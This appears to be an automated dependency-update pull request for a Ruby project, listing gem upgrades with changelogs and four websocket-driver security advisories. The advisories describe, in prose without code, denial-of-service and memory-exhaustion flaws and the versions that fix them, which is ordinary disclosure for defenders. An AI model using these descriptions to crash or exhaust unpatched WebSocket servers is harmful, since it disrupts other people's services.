  • Revert "Suppress warnings in two tests" by @nobu in #74
  • Only the timeout method should be public on the Timeout module by @eregon in #76
  • support Ractor by @ko1 in #75
  • Test that Timeout does not expose extra constants by @eregon in #77

New Contributors

  • @ko1 made their first contribution in #75

Full Changelog: v0.4.4...v0.5.0

0.4.4

What's Changed

  • Gracefully handle a call to ensure_timeout_thread_created in a signal handler by @eregon in #64
  • Add a workflow to sync commits to ruby/ruby by @k0kubun in #69

Full Changelog: v0.4.3...v0.4.4

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 70 commits:

↗️ websocket-driver (indirect, 0.8.0 → 0.8.2) · Repo · Changelog

Security Advisories 🚨

🚨 websocket-driver-ruby: Denial of service via malformed Host header

Impact

If this library is used to implement a WebSocket server on top of a TCP server, by using the WebSocket::Driver.server() method, then a client can cause the server to crash by sending a Host header that is not a valid host[:port] string. When this happens, a URI::InvalidURIError exception is raised which is not caught, and this can cause the server process to crash if the application does not catch the error from the parse() method itself.

Patches

The issue has been patched in version 0.8.2 by making the request parser catch URI::InvalidURIError and enter an error state if the Host header is malformed. This means the request is considered invalid and should not establish a WebSocket connection.

Workarounds

No known workarounds exist.

Acknowledgements

This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.

🚨 websocket-driver: Memory exhaustion via abuse of protocol length headers

Impact

The frame format in draft versions of the WebSocket protocol includes a length header that allows an arbitrarily large integer to be encoded as a sequence of bytes with the high bit set. By sending an indefinite sequence of bytes with values 0x80 or above, a server or client can make the other peer parse these bytes into an ever-growing integer. Since Ruby integers are arbitrary precision, this can be used to make a WebSocket connection consume an unbounded amount of memory and lead to the host process running out of memory.

Patches

The issue has been patched in version 0.8.1. All users should upgrade to this version.

Workarounds

No known workarounds exist.

Acknowledgements

This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.

🚨 websocket-driver: Resource limit bypass via message compression

Impact

If this library is used in tandem with the permessage-deflate extension, a WebSocket server or client can be made to accept messages that are larger than the configured maximum message size. This is because this limit is checked against the message frames' length headers, which give the size of the compressed data, not the size after decompression. This can lead to applications accepting larger messages than expected and exceeding their intended resource usage.

Patches

The issue has been patched in version 0.8.1, by checking the length of messages after they are processed by incoming extensions. All users should upgrade to this version.

Workarounds

No known workarounds exist.

Acknowledgements

This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.

🚨 websocket-driver: Memory exhaustion in HTTP header parser

Impact

If this library is used to implement a WebSocket server on top of a TCP server (rather than an HTTP server or framework) using the WebSocket::Driver.server() method, or, if it is used to complement a WebSocket client, then a peer can make a single connection consume an unbounded amount of memory by sending an HTTP request or response with a never-ending list of headers. This can lead to the receiving process running out of memory.

Patches

The issue has been patched in version 0.8.1, by limiting the total size of HTTP request/response lines and headers accepted by the parser to 32 kB. All users should upgrade to this version.

Workarounds

No known workarounds exist.

Acknowledgements

This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.

Release Notes

0.8.2 (from changelog)

  • Gracefully handle malformed Host headers in the Server driver

0.8.1 (from changelog)

  • Close a draft-75/76 connection if a length header grows to exceed the configured max length
  • Fail the connection if a message is larger than the configured max length after extension processing
  • Limit the total HTTP request line and headers size to 32K

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

↗️ zeitwerk (indirect, 2.7.3 → 2.8.2) · Repo · Changelog

Release Notes

2.8.1 (from changelog)

  • Replace anonymous block parameters with regular named ones.

    Ruby 3.3.0 has a bug: it does not parse anonymous block parameters, which were introduced in Ruby 3.1.

    While this is a Ruby bug and people could upgrade to 3.3.1, I prefer users just do not hit this. At the end of the day, it is cosmetic.

2.8.0 (from changelog)

  • Adds support for namespace files, nsfiles for short.

    If a loader has an nsfile configured (nil by default):

    loader.nsfile = 'ns.rb' # must be set before setup

    explicit namespaces can be defined by such special file inside their directories:

    my_component/ns.rb     # MyComponent
    my_component/widget.rb # MyComponent::Widget
    

    This may be handy for self-contained units for which a my_component.rb file in the parent directory would feel unnatural.

    If an nsfile is set, you can still define explicit namespaces as always. Both styles can coexist in the project. However, it is an error condition to try to define the same namespace using both conventions.

    For further details, please check the documentation for nsfiles.

  • When a file is shadowed because the constant path it maps to already exists, the location of said constant is included in the log message.

2.7.5 (from changelog)

  • If available, tree traversal is based on Dir.scan, which saves syscalls in common platforms. This method is a recent addition to Ruby contributed by @byroot, so you need to be on Ruby master to leverage this for now.

  • Tree traversal is a tad more performant, regardless of the previous point. Gains are marginal when eager loading, because it is dominated by loading the code, but Zeitwerk::Loader#all_expected_cpaths was 14% faster in some benchmarks, for example.

  • README.md documents how to collect autoloaded constants using an on_load callback.

  • Internal maintenance.

2.7.4 (from changelog)

  • Loaders have to manage disjoint source trees. Therefore, when a root directory is configured Zeitwerk ensures it is not already managed by some other loader. The performance of this validation has been improved.

    Thanks to @ngan for sharing some benchmarks that led to revise this logic.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 action_text-trix (added, 2.1.19)

🆕 prism (added, 1.9.0)

🆕 rbs (added, 4.1.1)

🆕 tsort (added, 0.2.0)

🆕 useragent (added, 0.16.11)

🗑️ benchmark (removed)

🗑️ mutex_m (removed)

🗑️ psych (removed)

🗑️ stringio (removed)